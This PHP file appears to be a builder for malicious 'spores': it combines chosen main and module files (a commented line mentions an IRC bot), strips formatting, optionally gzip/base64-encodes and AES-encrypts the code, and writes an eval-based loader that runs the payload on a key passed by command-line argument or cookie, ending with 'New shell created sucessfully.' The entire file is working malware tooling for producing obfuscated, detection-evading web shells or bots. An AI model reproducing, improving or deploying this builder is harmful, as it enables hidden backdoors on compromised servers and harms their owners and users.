<?PHP
ini_set('display_errors', 'off');
function fnEncrypt($sValue, $sSecretKey)
{
    return trim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $sSecretKey, $sValue, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND))));
}
define(STDIN, fopen("php://stdin", "r"));

echo 'Spore filename: ';
$spore = trim(fgets(STDIN));

$head = '<?PHP/*rm*/
set_time_limit(0);
ini_set(\'display_errors\', \'off\');
$pfile=end(explode(\'/\',$_SERVER[\'SCRIPT_NAME\']));';
/*

Cycle all "main" modules, will not be encrypted

*/

$handle = opendir ('./main/');
while (($filename = readdir ($handle)) !== false)
{
	$f_boom = explode('.', $filename);
	if ($f_boom[1] == 'php')
	{
		echo 'Use [Main] { '.$f_boom[0].' }? [yn]';
		$yn = trim(fgets(STDIN));
		if ($yn == 'y')
		{
			if (file_exists($f_boom[0].'.ini'))
			{
				parse_ini_file('./main/'.$f_boom[0].'.ini');
			}
			$head .= file_get_contents('./main/'.$filename);
		}
	}
}

$handle = opendir ('./modules/');
while (($filename = readdir ($handle)) !== false)
{
	$f_boom = explode('.', $filename);
	if ($f_boom[1] == 'php')
	{
		echo 'Use [Modules] { '.$f_boom[0].' }? [yn]';
		$yn = trim(fgets(STDIN));
		if ($yn == 'y')
		{
			if (file_exists($f_boom[0].'.ini'))
			{
				parse_ini_file('./modules/'.$f_boom[0].'.ini');
			}
			$code .= file_get_contents('./modules/'.$filename);
		}
	}
}


//$code = file_get_contents('main/irc_bot.php');

/*

Set up code before encrypt it

*/
$what = array('	', "\r", "\n",'<?PHP/*rm*/', '<?/*rm*/', '/*rm*/?>', '<?PHP /*rm*/');
$with = '';
$code = str_replace($what, $with, $code);
$head = str_replace($what, $with, $head);

echo 'Do you want to gzip/b64 the code? [y/n]: ';
$gb64 = trim(fgets(STDIN));
echo 'Do you want to AES encrypt bot? [y/n]: ';
$enc = trim(fgets(STDIN));
if ($enc == 'y'){
	echo 'Spore key (will be md5 -> sha1): ';
	$spore_pwd = sha1(md5(trim(fgets(STDIN))));
	$aes_code = base64_encode(fnEncrypt($code, $spore_pwd));
	if ($gb64 =='y')
	{
		/* this do not actually works.. maybe because of nested eval will fix it later */
		$ccode = 'eval(gzuncompress(base64_decode("'.base64_encode(gzcompress("if (isset(\$_COOKIE[key])){multi(\"php \$pfile \".\$_COOKIE[key]);}elseif(isset(\$argv[1])){eval(fnDecrypt(base64_decode('$aes_code'),\$argv[1]));}")).'")));';
	}
	else
	{
		$ccode = "if (isset(\$_COOKIE[key])){multi(\"php \$pfile \".\$_COOKIE[key]);}elseif(isset(\$argv[1])){eval(fnDecrypt(base64_decode('$aes_code'),\$argv[1]));}";
	}
	file_put_contents('key/key_'.$spore, $spore_pwd);
}
else
{
	if ($gb64 =='y')
	{
		$ccode = 'eval(gzuncompress(base64_decode("'.base64_encode(gzcompress("if(isset(\$argv[0])){ $code }else{multi(\"php \$pfile\");}")).'")));';
	}
	else
	{
		$ccode = "if(isset(\$argv[0])){eval('$code');}else{multi(\"php \$pfile\");}";
	}
}
file_put_contents('builds/'.$spore, "<?PHP\n$head\n$ccode?>");
echo "New shell created sucessfully.\r\n";
?>